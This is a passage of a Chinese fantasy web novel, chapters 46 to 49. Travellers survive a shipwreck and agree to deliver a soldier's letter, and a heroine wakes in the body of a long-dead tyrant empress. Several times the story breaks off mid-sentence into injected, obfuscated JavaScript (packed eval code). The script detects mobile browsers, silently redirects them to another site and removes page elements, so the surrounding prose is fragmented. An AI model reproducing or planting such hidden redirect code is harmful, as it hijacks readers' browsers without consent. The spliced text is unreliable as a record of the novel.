宁啻哈哈笑道:“早就听说当今周朝天子有位金枝玉叶的公主。不过公主殿下,千万不能再这么叫我了。”他听见响动回过头:“哟,少爷醒了。” 谢景回了个鬼脸,妄图把骗了自家表兄这件事糊弄过去。略一偏头,才注意到萧十六背对自己——这个人即便是睡着,也是半侧过身,双手放在胸前,呈现出防御的姿势。 这位怪人也需要睡觉?谢景忍不住挑了挑眉,周昭轻手轻脚来到他身边。 谢景压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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此刻小船缓缓靠岸,船身摩擦地面,发出咔嚓咔嚓的声音,让人不禁毛骨悚然。 最先说话的是天不怕地不怕的谢景,长腿一迈,道:“下去看看。” “长淮,等等。”周昭拉住他,“你听……” 雾气浓重,路的尽头看不真切。 哐!哐! 好像有什么东西在浓雾中拖行,伴随着这刺耳诡异的脚步声,一个人影在远处若隐若现。 宁啻吞了吞口水,不由自主地攥紧谢景的胳膊,小声道:“长……长淮。” 谢景知道他想说什么,抢先一步捂住宁啻的嘴巴,沉声道:“表哥你别瞎说!” 那人明明走得很慢,再一抬头,竟然离他们不过十余步,面容蕴着一团浓重的雾气,始终看不清楚。 谢景忽然想到什么,猛地回头,道:“不见了!” 船尾本该躺着萧十六的地方,此刻空无一人。 “什么不……”周昭回头望去,方才还风平浪静的海面突然间狂风大作,呼啸不止。 船板剧烈地晃动几下,周昭一把扶住险些跌了一跤的宁啻,接着道:“十六人呢!” 谢景脸色铁青,沉默不语。 宁啻慌张道:“这船快翻了!” “船桨给我!” “浪这么大!我们还是先下船再说吧!” 宁啻说是这么说,但眼看那道鬼影越走越近,怎么也不敢迈出第一步。谢景攥住他衣袖,向后一推,喝道:“不能下船!” 宁啻踉跄道:“表弟!” 周昭正欲开口,一个浪头打过来,那张浓雾中的脸陡然间露出真容,近在咫尺。 周昭惊出一身汗,连连向后跌去,背心一只手稳稳地托住她。谢景周昭二人还未来得及对视,又是一个两人高的惊天巨浪掀翻过来,腥咸的海水倒灌进口鼻,眼前一黑,再无意识了。 46. 生疑 一缕阳光轻柔地落在眼皮上,周昭手指动了动,酸痛感瞬间传遍了四肢百骸。又过了好阵子,她睁开眼睛,久违的太阳光让她有些不适。 这是哪儿? 昏迷之前的画面像走马灯在她脑海里一闪而过,周昭右眼狠狠跳了几下,她翻身起来,嘶!一股刺痛倏地从掌心传来,周昭摊开手掌,赫然是那道被海水泡胀了的伤口,从中间往外翻开,显得有些狰狞。 海浪阵阵,却早没了昨夜的危险气息。周昭一眼看到仰面躺在沙滩上的谢景,叫道:“长淮!” 一出口,声音沙哑得连她自己听了也有几分吃惊。周昭踉踉跄跄地跑过去,颤抖着伸出手,慢慢探向鼻息…… 还活着。 周昭憋在胸口的气猛地吐出来,复唤道:“长淮?长淮,醒醒!” 咳咳! 谢景连连咳出几口海水,边睁开眼睛边嘟囔道:“表哥,你压我腿了!” 他用手挡了挡太阳,看清了抱着他的人是谁,叫道:“阿昭?” 昨夜的记忆猛地刺入脑海,谢景头痛欲裂,立马从地上弹起来,抓住周昭的胳膊慌里慌张道:“阿昭,你没、嘶!” 谢景呲牙咧嘴,低头一看,腰侧划了道一寸有余的口子,这么一动又渗出血来,两侧翻开的皮肉被海水泡得发白,实在不是个好迹象。 “别动!” 周昭利落地从裙摆扯了几根布条,动手包扎起来。谢景声音有些发闷,道:“无妨,昨夜船翻了,我不小心被礁石撞了一下。” 周昭努力想回忆起昨夜发生的事儿,但她最多只能想起来风浪太大掉进大海,至于浓雾里看见的那个人到底去哪儿了,她是一点儿印象也没有了。 周昭忙问道:“昨夜你看见十六了吗?” 谢景像是被踩了尾巴的猫,从鼻子里哼出一口气,一拳砸在海水里,道:“别提他了!” 周昭满心疑虑,岸边风大,她扶着谢景走远了些,道:“你先休息,我去找找宁兄和十六,回来再说。” 谢景虽然有一肚子话,却分得清轻重缓急,于是道:“好,小心些。” “知道了。” “阿昭。” 周昭狐疑道:“怎么了?” 周昭那件衣裙被她今天扯条布,明天撕片纱,又在海水里泡了几个时辰,如今破破烂烂地挂在身上,露出小半截白皙的小腿。 谢景的脸突然涨成猪肝色,缓慢地偏过头,将自己衣服解下来,随手一抛。 周昭被这么劈头盖脸一扔,手忙脚乱道:“别玩儿了长淮。” 谢景恨铁不成钢,暗骂周昭这个木头!从小就笨!日后也不知道要被哪个男子骗去! 周昭浑然不知谢景此刻像个老父亲操碎了心,好容易才从那团湿衣服里面露出头,只听谢景瓮声瓮气道:“衣服穿好。” “哦。”周昭眨眨眼睛,“谢了。” 周昭没走很远就在一块岩石后找到了宁啻,他从小长在海边水性极好,周昭找到他时,宁啻怀里还抱着那根船桨,人倒是没什么大碍,除了脑袋和手臂擦破了点儿皮。 等周昭带着宁啻回来时,看见谢景正把装着疟鬼的缚灵锁拿出来,他抬头冲宁啻打了个招呼,转向周昭道:“阿昭,疟鬼还在。” 周昭悬着的一颗心放下一半儿,另一半儿还悬在萧十六身上,因此声音也不大有精神,应道:“啊,那就好。” 谢景歪了歪头,心情不大好地将缚灵锁狠狠摇了几下,又放在耳边听了听,道:“奇怪,这东西自从抓来就一点儿声音都没有,该不会死了吧?” 三人你看我,我看你,最终还是决定不要冒险打开。 宁啻瞥见谢景的伤,本来要插科打诨的那些个话又硬憋回去,难得收起玩笑面孔,问道:“表弟,你还好吧?” “不碍事。” 谢景哪怕疼死,都不会在他这便宜表哥面前吭一声,将对方上下打量一番,见他也挂了彩,不怀好意地笑道:“嘿,表哥,后悔出来了吧。” 宁啻没理他,脱了外衣晾在岩石上。 周昭心乱如麻,方才她和宁啻二人找了一圈,都没发现十六,又想起谢景的话,不由问道:“长淮,你是不是知道些什么?我找不到十六。” 海岸一览无余,几乎没有能藏人的地方。 除非......周昭不敢再细想下去。 “他嘛,”谢景慢吞吞地将缚灵锁收好,抬起头道,“别找了。” 周昭蹙了蹙眉心,道:“长淮,你在说什么?” “阿昭,你还不明白吗?这个人,有问题。” 谢景将昨夜萧十六讲的故事复述了一遍,道:“那首小调,什么血月乍现,什么阴阳裂,我那时候还不明白。如今细想,昨夜不正是血月吗?那条茫茫大海里凭空出现的小路,还有莫名其妙出现的.....“ 谢景的声音低下去,有些别扭道:“出现的那个东西,你们不觉得很奇怪吗?” “阿昭,你那位朋友如此厉害的人物,昨夜船行到半路,我们都醒了,就只有他一个人还在睡觉,我不信他一点儿声音也没听见。还有我们三个,你们没觉得在船上那一觉睡得过于沉了吗?后来风浪大作,他人却突然不见了,世间有这么巧的事情吗?如果昨夜出现的那东西,真是无妄海下压着的大鬼,萧十六一定跟他脱不了干系!” “......长淮,你冷静些。” 谢景将压在心里的话一口气说完,顿时觉得舒服了些。听见周昭这么说,忍不住道:“阿昭,你为何偏要相信这么一个来路不明的人?” 周昭道:“因为他从没有伤害过我们任何一个人,因为他救了我们的命,因为他帮我们抓到了疟鬼。” 谢景哑口无言,他不得不承认周昭说的是对的。但要他相信萧十六是清白的,这绝对不可能。 谢景扶额道:“阿昭,并非我针对他,你也看到了,他不是现在消失的,他是在船上就消失的。‘血月乍现阴阳裂,未许人间活人现’,说难听些,他知道昨夜会发生什么,却故意引我们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周昭哪肯让他跑掉,那人见周昭飞身而至,慌了手脚,马儿扬起前蹄一声嘶鸣,“哎哟”!他滚了几滚,摔在周昭面前。 周昭一看,却是个细皮白肉的小少年。 他身着盔甲,除了眼睛周围还算干净,脸上身上处处是血污,看起好生狼狈。 少年扶着腿,哎呦唤个不停,脸上豆大的汗珠直往下掉。 “你……要紧吗?”周昭凑近几步,见他疼得厉害,回头唤道:“怎么办,他摔断了腿。” “摔得好!遭报应了吧!” 说话的自然是谢景,他大喇喇地靠在岩石上养伤,眼神戒备得像一头狼。 少年听到他们讲话,见他们两男一女人多势众,只横脖怒目,道:“落在你们手里算是完啦!哼!要杀就杀!” 宁啻哭笑不得,他在行人岭已经被吓得多了,刚才那一箭的惊惧便算不得什么,他走过来,好言问道:“这位小兄弟,难道不是你要杀我们吗?” 少年站不起来,只抱着那条断腿,恨恨道:“孟舒狗贼!见一个杀一个!” 孟舒? 三人面面相觑,周昭端详片刻,忽然叫道:“等等,你们看,这是周朝士兵装束。” 虽然没进过军营,兵总归认得出,谢景诧异道:“你是周朝人?” 少年偏过脸不答话。 47. 送信 谢景平白吃瘪,险要发怒,宁啻拉住他道:“小兄弟,你刚才说,孟舒?” 孟舒靠近黎国,跟周朝虽没有周黎俩国亲密,却也是上百年来平安无事。这不知道从哪儿冒出来的小兵,对孟舒有如此大的敌意,实在令人费解。 兴许是宁啻这人本来就比谢景面相柔和些,又这么轻声细语地询问,少年终于转过脸来,先是瞪了他们一眼,才道:“装什么,你们穿的难道不是孟舒人的服饰吗?” 黎国、孟舒虽然各有不同,但一眼望去都是窄袖束腰之类,为的是做事便宜。对不熟悉的人来说,确实容易混淆。 周昭收了剑,道:“你别怕,我们不是孟舒人。”她蹲下身子,想看看这少年的伤势,却被对方一把推开。 紧跟着,少年便埋头痛哭起来—— “你们杀了我吧!援兵不到,反正我也是死路一条!我死了不要紧,将军要是死了……呸呸!将军不会死!” 少年越哭越伤心,言语之间,说来说去就是“将军”、“援兵”、“孟舒”这几个词。 周昭突然有种不好的预感。 谢景听得心烦,叫道:“哭什么!没听见她说我们不是孟舒人吗?!” 他这一声吼,哭声戛然而止,少年带着哭腔问道:“你们......不......不是贼人?” 谢景十分不耐,一指周昭,言简意赅:“你见过贼人长她这个样子吗?” 少年闻言,抬起两只泪眼小心盯着周昭,自言自语道:“确实不像……” 周昭没心思再听,面露焦灼,一连串地问道:“出什么事儿了?哪里在打仗吗?你是谁麾下的?援兵又是怎么回事儿?” 宁啻上前在她肩上轻轻拍了拍,动作十分轻缓,冲她微微点头:“别急,我看看。” 宁啻在少年面前蹲下,左手轻轻在他小腿处按了按,对方登时疼得啊啊大叫,宁啻边查看伤势边道:“骨折了,不过正巧我会接骨,你要试试吗?” 虽然是问句,但宁啻根本没给对方回答的时间。 咔嚓! “啊?啊啊啊!疼疼疼!!疼死我了!!!” 少年痛得大呼小叫,冷汗涔涔,然后慢慢安静下来,宁啻手速飞快,撕了袍子固定好他的伤腿,少年看着自己被五花大绑的腿,再看看他们一行人,缓缓露出难以置信的表情。 “好了。”宁啻拍拍手,平视着少年的眼睛道,“不过接完骨最好是用木板固定住,可惜,这里什么也没有,只能用布条跟棍子凑合凑合。断骨不要紧,要紧的是你身上其他伤口,感染了就不妙了。” ——同样难以置信的还有周昭和谢景。 谢景合上大张的嘴巴:“表哥,你这么厉害?” 宁啻转过身,茫然道:“厉害吗?” 谢景和周昭连连点头,伸出大拇指:“厉害。” “还好吧,我又不喜欢这个。”宁啻无视谢景的表情,看向周昭时已经换了副嘴脸,嘻嘻笑道:“阿昭,我可以这么叫你吗?你还是第一次夸我。” “宁兄随意。”周昭笑了笑,谢景则对亲表哥这种狗摇尾巴的行为十分鄙夷,翻了个白眼:“喂!那谁,现在能说了吗?” “你们怎么不先说……” 少年心中犯嘀咕,犹豫再三,咬咬牙,抹了把脸上的泪,说道:“我是辽城来的,五日前,城中突然来了帮杀人放火的流寇,那时候还以为是寻常强盗。辽城防御使杨大人带一队人马出城追盗匪,谁知那些贼人调虎离山,里应外合,半夜偷袭,杨大人派我去找霍将军报信,我在半路遇见了你们,还以为是……” 他偷偷打量了谢景一眼,谢景道:“以为是贼寇,就问也不问,想将我们射死。” 少年也不否认,扬着头一脸倔强道:“谁叫你们鬼鬼祟祟,这里偏的连个鸟都没有……” “等等,你说辽城?咱们怎么跑到辽城这千里之外来了!”谢景险些就要跳起来,周昭心里想的则是另一件事:果然出事了。 辽城是二哥管辖的地界,二哥刚亡故,孟舒偏在这个节骨眼儿上前来挑衅...... 周昭隐隐觉得,这种种事情都跟鞑子脱不了干系,眼皮好巧不巧在这时狠狠一跳,让她心慌得厉害,接着问道:“只有你一个人出来?” “……”少年面露凄然,哽咽道:“不,其他人……都死了。” “你说要去找霍将军,哪个霍将军?去哪儿找?” “找霍璋将军,他就在城外三百里的雪松山!” 雪松山并非一座山,而是横亘在北疆的一片山脉,靠近黎国最北端,常年积雪难消。 跨过雪松山就是鞑子八大部落,对于霍璋,周昭有所耳闻。听说当年鞑子突然入侵北疆,霍老将军镇北侯战死,连尸骨都没留下。 镇北侯独子霍璋大挑大梁,用了三年时间将鞑子赶回雪松山外,封侯挂帅时年仅十九。 但雪松山地方太大,一旦踏进去,别说五日,哪怕是十日难出来。 那少年浑然不知,找霍将军这件事儿比他想象的更加困难,他两把擦干眼泪,目光坚定:“所以我一定要把信送到!你们既然不是孟舒人,就放我走吧!再耽搁下去,我怕、怕……” 周昭欲言又止,谢景看出端倪,问道:“阿昭,你不放心他一个人?” “……让我想想。”周昭道,“宁兄,你对地形更熟悉些,你怎么看?” 宁啻道:“雪松山地势复杂,极容易迷路。我们虽说有行云令,也用处不大。” 宁啻虽然行事放荡不羁,心思却十分细腻。谢景因为和周昭一起长大,很多事情二人心有灵犀,但真要相较而言,宁啻察人观色更胜一筹,三两句便猜出,周昭是想用行云令将这少年送到雪松山。 谢景道:“那怎么办?行云令派不上用场,总不能本殿......本少爷亲自送他过去吧?” “不行,眼下还有件要紧事。”周昭说的是疟鬼,谢景自然明白。期限将至,如果不能消除瘟疫,围猎场的人都会死。 “这也不行,那也不行。”谢景很烦躁地抓了抓头发。 少年听他们说来说去,明白大概,朗声道:“诸位,不劳费心啦!这本就是我大周之事,我就算爬也会爬到雪松山!” 周昭转过身,道:“我有一个法子。” 谢宁二人异口同声道:“什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733719|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?” 周昭道:“长淮,你带着东西回山找师父,我跟他去雪松山。至于宁兄.....”她微笑道:“宁兄自便。” “不行!”谢景道,“我一个人走算怎么回事儿?” 周昭将他拉到一边,压低声音道:“只有这个法子。第一,我们必须有人马上赶回去,把疟鬼交到师父手里;第二,长淮,你的身份绝不能出现在边境军营;第三,你跟那少年的伤耽误不得,晚了要出人命,必须马上回去医治。” “可是——”谢景正要反驳,宁啻附和道:“表弟,别可是啦,阿昭说得对,多一天就多一分危险。至于雪松山嘛......”他看向周昭,嘻嘻笑道:“我陪你去。” 宁啻熟悉地形,有他陪同再好不过。周昭又好生劝了谢景一番,对方勉强同意,简单收拾完行装,将他二人打量道:“你俩现在倒是好得穿一条裤子了。” 他说话颇有几分阴阳怪气,周昭哭笑不得:“放心吧长淮,我很快赶回来,你早些上路。” 那小士兵正一瘸一拐地想走,身后血流了一串,谢景像抓小鸡一样把他抓回来,道:“你,跟我走。” “你放开!”少年挣扎几下,咬牙切齿道,“放开我!走哪啊?我要去送信!” 谢景根本不理他:“他这幅样子也走不了,跟着你们也是累赘,干脆由我带他回山上疗伤,不然我看他这腿……多半要废掉。” “你才是累赘!” 谢景在他怀里左翻右找,摸出一封信:“就是这封信吧,阿昭,接着!一路保重。” 少年终于咂摸出其中转机,也不再挣扎了,眼圈儿一红,吧嗒吧嗒掉下眼泪。 “你们……真的要帮我送信吗?” 周昭柔声宽慰道:“放心,我们一定送到。” 少年似乎有些发热,脸色有些不正常的潮红,眨着眼睛道:“可惜我不能看见霍璋将军啦,如果见了霍将军,帮我问声好,可以吗?” 周昭点点头:“你叫什么名字?见到霍将军,我一定带话给他。” “裴砚,我叫裴砚,纸笔的那个砚。” 少年说话声越来越小,最后听不见了。谢景这便要走,冲宁啻抬了抬下巴:“表哥,照顾好阿昭。” 宁啻双手抱胸,散漫道:“表弟,照顾好自己。” 谢景走了。 周昭好像看见他用一如既往的大踏步,走向苍界山行宫,再是师父那张似乎已经很久不见的脸,最后是校场大开,老少相携,百家笑容涌入街头小巷。 周昭忽然觉得,没有什么比这更美好的画面了,无论是雪松山的皑皑白雪,还是突然发难的孟舒,这些摆在她面前的一个个难题,似乎都不再沉重地压在心头。 十六,只有你了。 等着我来寻你。 周昭深深地呼出一口气,转身道:“宁兄,我们走吧。” “阿昭。”宁啻唤她,“你可曾听说过,霍璋将军有一柄举世无双的宝剑。” “没听过,是什么?” 宁啻来了兴致:“霍将军的剑在北疆很有名气,那是一柄通体乌黑的玄铁剑,剑上刻着他的字号,名为:行野……” 48. 复仇 那是一柄通体乌黑的玄铁剑。 剑身宽阔厚重,刀刃并不十分锋利,却闪着迫人的寒光。剑柄同样乌黑,似铁非铁,似木非木,上刻饕餮纹,下刻两个小字——行野。 这样一柄玄铁重剑,却被握在一只骨节分明的女子手里。那只手苍白如纸,虎口处覆着一层茧,让人毫不怀疑这手能挥舞重剑,轻而易举取下项上人头。 瑶姬笑道:“大人,看来这位是您的故人。” 主君的故人? 祝鸢目不转睛盯着眼前脱画而出的女子,只觉有什么东西好像要从胸腔里跳出来,等到她和那双眼睛四目相对,一股巨大的痛楚从心底升腾而起,祝鸢牙关咬紧,听见折杞抢先道:“瑶姬!好大的胆子!” 折杞这话几乎是从牙缝里挤出来的,瑶姬莞尔一笑,眼眸转了几转,却道:“城主大人,你在害怕什么?” 折杞眉头紧蹙,问道:“你对昭姐姐做了什么?” 白衣浮动,折杞已闪身到瑶姬面前,怒道:“回答!” 昭姐姐……昭姐姐…… 祝鸢努力回忆这个熟悉的名字,以及眼前那张熟悉的脸,她到底在哪里见过?心口越来越痛,祝鸢看着执剑而来的女子,身侧渡舟却突然动了。 渡舟走近几步,目光描摹过那女子面容,轻轻叹了口气。 这轻飘飘的叹息声,好似从堕神图中数千年前的魂灵而来,又沉甸甸地落在人耳中。 渡舟叹完这口气,继而伸出手,道:“殿下……”他的语气虽然一贯低沉,细听却有几分不寻常的颤抖。 “你回来了,我……” ——噗嗤! 利剑划破衣帛,刺入皮肉,那柄玄铁剑就这么堂而皇之地捅进了渡舟身体。 “师父!” “主君!” 祝鸢被眼前一幕骇得两眼发直,渡舟却没哼一声,接着道:“我就知道,你一定会——” 女子面不改色拔出剑,又捅了第二刀,接着拔出,第三刀。刀刀命中要害,顷刻鲜血直流。 折杞大惊,上前道:“师父!昭姐姐,你们——” “让开!”渡舟充耳不闻,拂袖将他一把推开。 这是在干什么! 祝鸢想阻止,双脚却像被钉在地上,心口痛得几乎快要站立不住。 “哈哈哈哈!”瑶姬见此情形,笑得花枝乱颤,“丹妙那老贼,果然没骗我!做得很好,这位就是害你枉死的仇人。来,继续,听我的......” 瑶姬的声音蛊惑人心,折杞率先叫道:“莫非是……驭魂术?!” 驭魂术是一种高阶法术,并不局限于道士驭鬼,大鬼驱小鬼也有。但极难修炼,稍有差池便会魂飞魄散。戾气越重的鬼越强,越不容易被驱使。 除非—— “城主大人,你是不是想问我如何使得驭魂术?”瑶姬道,“的确,驭魂术不是我这种级别的鬼,朝夕之间能学会的,但有一种情况例外。这魂魄心中极恨,自愿献祭,心甘情愿任我驱使,只求复仇雪恨。” “心中极恨……”渡舟低声喃喃,在他注视着对方的同时,那柄剑第五次拔出。 “停!”瑶姬一声命令,举起的剑锋停下,渡舟没有理会自己身上大大小小的血窟窿,顺势半跪,近乎虔诚地覆上那只握剑的手。 一丝嫉妒在瑶姬脸上稍纵即逝,她定了定神,唇角微弯:“大人,我知道这点儿伤杀不了你。别误会,我只是帮丹妙一个小忙,丹妙很记恨你在九洲城对他的所作所为呢。” 渡舟正思索怎么把剑从女子手中取出,闻言头也不抬:“丹妙自己怎么不来?” 瑶姬掩唇咯咯一笑:“大人真是会说笑,丹妙不是刚被您抓了吗?” “让她把剑放下。” “什么?”瑶姬困惑道。 原来,渡舟不过是在自言自语,根本没有把她,以及所谓的驭魂术放在眼里。 瑶姬气急败坏道:“我是来跟你谈条件的,这就是你的待客之道吗?” 折杞摇头道:“丹青手,你与魇鬼勾结,用花钿食魂,难道你认为自己还有转世投胎的机会吗?” 阴差阳错,瑶姬那张花容月貌短暂地扭曲了片刻,吐字道:“那是最好不过……” 折杞道:“你还有什么要求的?” 瑶姬道:“我要离开无相城。” 折杞道:“不可能。” 瑶姬抹了抹脸上不知是笑还是哭出的泪珠子,反问道:“是吗?” 她软弱无骨的身子轻飘飘站起来,走到渡舟面前,却不敢靠近,调笑道:“大人,小女子这个要求,不过分吧?城主却不肯依我,你说,该怎么罚他?” 那女鬼只听瑶姬的话,渡舟下手又十分轻柔,因此不管他如何使力,都不能让那柄剑从她手中脱落。 他似乎刚注意到这边的动静,不耐道:“无相城的事情,我早已不过问,你找错人了。” 瑶姬见自己的话丝毫不起作用,怒意浮现眼底,终于威胁道:“好,既然大人要让她魂飞魄散,那我们没什么可谈了。” 渡舟终于抬起头,瑶姬没错过那眼神中赤裸裸的杀意,她看得出渡舟十分在乎这个残魂,事已至此,只差一步,岂有退缩的道理! 瑶姬冷笑道:“怎么,大人想杀我?你应该知道,驭魂术主仆一体,如果我死了,她也不能活!” 祝鸢听懂了。 魂魄只听令于主人,如果主人身死魂消,魂魄便会魂飞魄散。看来眼前的女鬼对渡舟来说非比寻常,瑶姬打赌渡舟不会伤她,非但不会伤她,还会唯命是从。 “错了,我现在不想杀你。”果然,渡舟如是道。 渡舟啊渡舟,你是无相妖主又如何? 瑶姬心头浮起一丝久违的愉悦,她突然觉得让渡舟只帮自己干一件事儿,实在是太亏了些,眼眸一转,说道:“大人,如果你放我离开无相城,帮我找到一个人,不!帮我杀掉一个人!” 瑶姬的面容有几分扭曲,喝道:“不!先不杀,我要活的!我要看着那人在我面前死!” “你说完了没有?”渡舟语气不耐道,“这把剑,让她放下。否则,我现在就杀了你。” “你说什么?!”瑶姬难以置信道,“你要杀我?” 渡舟揉了揉眉心:“很难理解吗?这句话。” 剑是重剑,上面承载了不知多少剑下亡魂,如果长时间握在一片残魂手里,将是魂魄不能承受之重。 瑶姬抬手一指,道:“你连她也要一起杀掉?” 渡舟站起来,将残魂护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么时候?你……”瑶姬不明白,她明明紧紧盯着渡舟,竟然让对方在这方寸之地顷刻之间,悄无声息遣进她的驭魂阵,倒反天罡。 渡舟懒得回答,转过身,语气柔和地哄着那残魂道:“殿下,把剑给我。” 红衣女子神情困惑,略微偏了偏脑袋。 痛,太痛了。 站在一边的祝鸢脸色煞白,心如刀绞,痛得几乎要弯下腰。这时,一只手突然稳稳地握住她,渡舟的眉头皱得那样深,祝鸢从没见过渡舟这副模样。他极为深刻地看了祝鸢一眼,将她握得更紧,然后伸出另一只手,缓慢地试探着,去碰那红衣女子手中的剑:“殿下,把剑给我,我带你回家……好吗?” 祝鸢望向那红衣女子,有那么一瞬间,她好像透过那双无波无澜的眼睛看到了皑皑大雪,雪中有人也是这样紧紧抓住她的手,冻僵的手掌坚硬得像铁,攥得她生疼。 “陛下,我想回家……” “陛下,活下去……” “不!”瑶姬见败局已定,歇斯底里道,“我不要被关进无相渊!我不要进无相渊!灵溪!我要你死!我要你死啊!” 瑶姬余光一瞥,渡舟,既然你不让我好过,我也不会让你好过! 垂死之际,怨念横生,是为大凶! 无数黑气自她体内升腾而出,堕神图尚未合拢,低吟嘶吼,竟有再乱之相。 瑶姬大叫道:“给我杀了他!” 49. 还魂 祝鸢又做梦了。 她梦见一座金碧辉煌的宫殿,殿内春意盎然,窗外花团锦簇。在那一团香气扑鼻中,祝鸢看见一只精巧的秋千,上面坐着个穿藕粉衣裙的小姑娘。 那小姑娘约莫三四岁,长得极为可人,冲她招手,咿呀道:“娘亲……娘亲……” 沙哑的声音自喉咙间溢出来,全然不似一个三岁孩童。 祝鸢愣怔住,摸了摸自己的脖子,那儿似乎有一道陈年旧疤,再低头一看,坐在秋千上的竟是她自己。 不,不是秋千。 那是一颗巨大无比的槐树。枝繁叶茂,天光难漏,脚底生长出无数黝黑粗长的枝蔓,像毒蛇一样将她手脚紧紧缠绕住。 “娘亲……” 一颗鲜红的头颅突然从树梢长出,露出尖利森白的牙齿,冲她狞笑道:“周昭,你该下地狱啦!” 周昭? 祝鸢动弹不得,心脏的位置似乎突然被人挖去了,灌入胸膛的寒气逼得她喉咙发紧,任凭她再怎么张大嘴巴也发不出一丝声音。 “陛下!赏我一滴血吧!” “陛下!把你的心给我吧!” 祝鸢手指微动,只摸到身下冰凉的玉石板。 头顶黑云沉沉,耳畔魔音窃窃。 一个身穿龙纹盔甲的女子缓缓转身,她手握一柄玄铁重剑,身上遍布伤痕,嘴角不停地往下滴血,而她胸膛的位置,则是一个拳头大小的黑洞。 那女子面容苍白绝美,缓缓启唇道:“周昭,就是你啊……” 祝鸢猝然睁开眼睛,冷汗打湿了她的后背,梦中的潮湿黏腻变成鼻端一缕难掩的血腥气。 “醒了。”有人立刻问她。 眼前白光渐渐汇聚成一个模糊的人影,那人肤色比寒冬的雪还要白,眼底如水潭落石,望向她时轻轻颤了颤:“我料想你快醒了。” 祝鸢认出渡舟,于是唤道:“……我……” 说出口的声音喑哑无比,以致于祝鸢过了很久才反应过来,这声音是从自己喉头发出来的。 好熟悉的声音……是我吗? 她能开口说话了。 渡舟眼中情绪因着她猝然开口,又起了一丝波澜,温声道:“还好吗?” “我……”祝鸢感觉心口很痛,她那张苍白的脸小心瑟缩在锦被里,剪了利爪的猫儿似的,神色茫然地喃喃道,“我还好……” 渡舟垂眸,一言不发地握住她的手,重新放回温暖的棉被里:“别怕,我陪着你。” 祝鸢不知道再继续说什么。 这也很好理解。就好像非得给哑巴一张嘴,聋子一双耳,一时间不知道该拿多出来的东西干什么。 祝鸢低声道:“我好像……做了很久的梦。” 渡舟面上露出一丝不自然,问道:“什么梦?” “记不起来了。” 祝鸢睁大眼睛,望着屋顶,眼神空洞无光,刚想用拳头砸脑袋就被渡舟提前拦下:“想起来再告诉我吧,好吗?” 祝鸢点点头,右手抚上眉眼,迟疑道:“……我好像跟从前……有哪里不一样了。” 渡舟没有回答她到底哪里不一样,祝鸢又道:“帮我拿一面镜子,好吗?” 渡舟沉默片刻,拿来铜镜给她。祝鸢将铜镜举到眼前,愣愣道:“这不是我……她是谁?” ——镜中是一张惊艳绝绝的脸。 眉如远山,唇色浅淡。望之如冰雪寒瀑,让人忍不住不禁遐想,她笑时又该是如何的春景朝阳,紧跟着,却又生出一丝不忍亵渎的罪过来。 毫无疑问,这是周昭的脸。 那位印在史册上的嗜血暴君,周朝亡国主,以及另一个难以抹杀的标签——天下难得的美人。 渡舟眉宇间闪过一丝惊讶,试探道:“你不记得?” 祝鸢摸着那张崭新皮囊,愣愣地摇头道:“……不记得了。我只记得丹青手要大人你打开堕神图,后面的事情都不记得了。” “……”渡舟似乎微不可查地松了口气,温声道,“你那日被划伤了脸,我给你换了张皮。” 祝鸢若有所思地点点头,对着铜镜左看右看,低声道:“好看是好看,但我还是喜欢原来的样子,不过怎样都无所谓啦。” 祝鸢放下铜镜,追问道:“大人,后来呢?” 渡舟纠正她:“你可以叫我渡舟。” “好吧,渡舟大人。” “……”渡舟似乎也不太满意这个称呼,眉心蹙了蹙,才道,“你先好好休息。” 渡舟起身离开,等殿门终于合拢,不留一丝缝隙,祝鸢的眼神却悄然变了。 若说从前她的眼睛像一眼就能望到底的泉水,现在这双眼睛,就像一潭深不见底的沼泽。 这具身体对祝鸢而言太熟悉了,比这段时间一直在用的另一具身体还要熟悉。 祝鸢重新拿起铜镜,那里面倒映出一张久违的脸—— 那张脸沉默片刻,勾起唇角冲她讥讽一笑: “周昭啊周昭,你怎么还没死?” ——祝鸢骗了渡舟,她想起来了。 虽然记忆断断续续并不连贯,但祝鸢就是周昭,她就是周昭。那个杀母弑兄的明鸢殿下,毕方神血最后一任皇帝,那个遗臭万年被刻在史书耻辱柱上的亡国君——周昭。 周昭抬手抚了抚自己的脸,这么多年了,她几乎没有变过模样。但她见过这张脸上曾经露出过多么可怖狰狞的表情,曾经流下过多么荒唐可笑的眼泪,也见过这双眼睛曾经有过多么高涨的杀意。 周昭啊周昭,你真该死啊。 不过,周昭也确实死过一回了。 但可笑的是,周昭想不起来自己是怎么死的了。 萤木那日的话犹在耳畔,他说周昭是被万民绑在祭天台上挖心而死。周昭不由笑了笑,这对于她而言倒是个再合适不过的死法。 虽然想不起来,但周昭千真万确是死了。以致于周昭现在不太能确定,自己到底是怎么“活”过来的? 按理说当年周昭死后,应当是没人大发善心给她收尸的。毕竟无论是周朝百姓,还是叛贼,都对她恨之入骨,恨不得生啖其肉,生饮其血。 周昭想,如果她真是被挖心而死,尸体一直摆在祭天台,那一定会很难看。 但事实就是她这具身体不仅没有被活吃掉,或是变成一堆白骨,反而被好好地保存了下来,连心脏也好端端地在胸腔跳动。 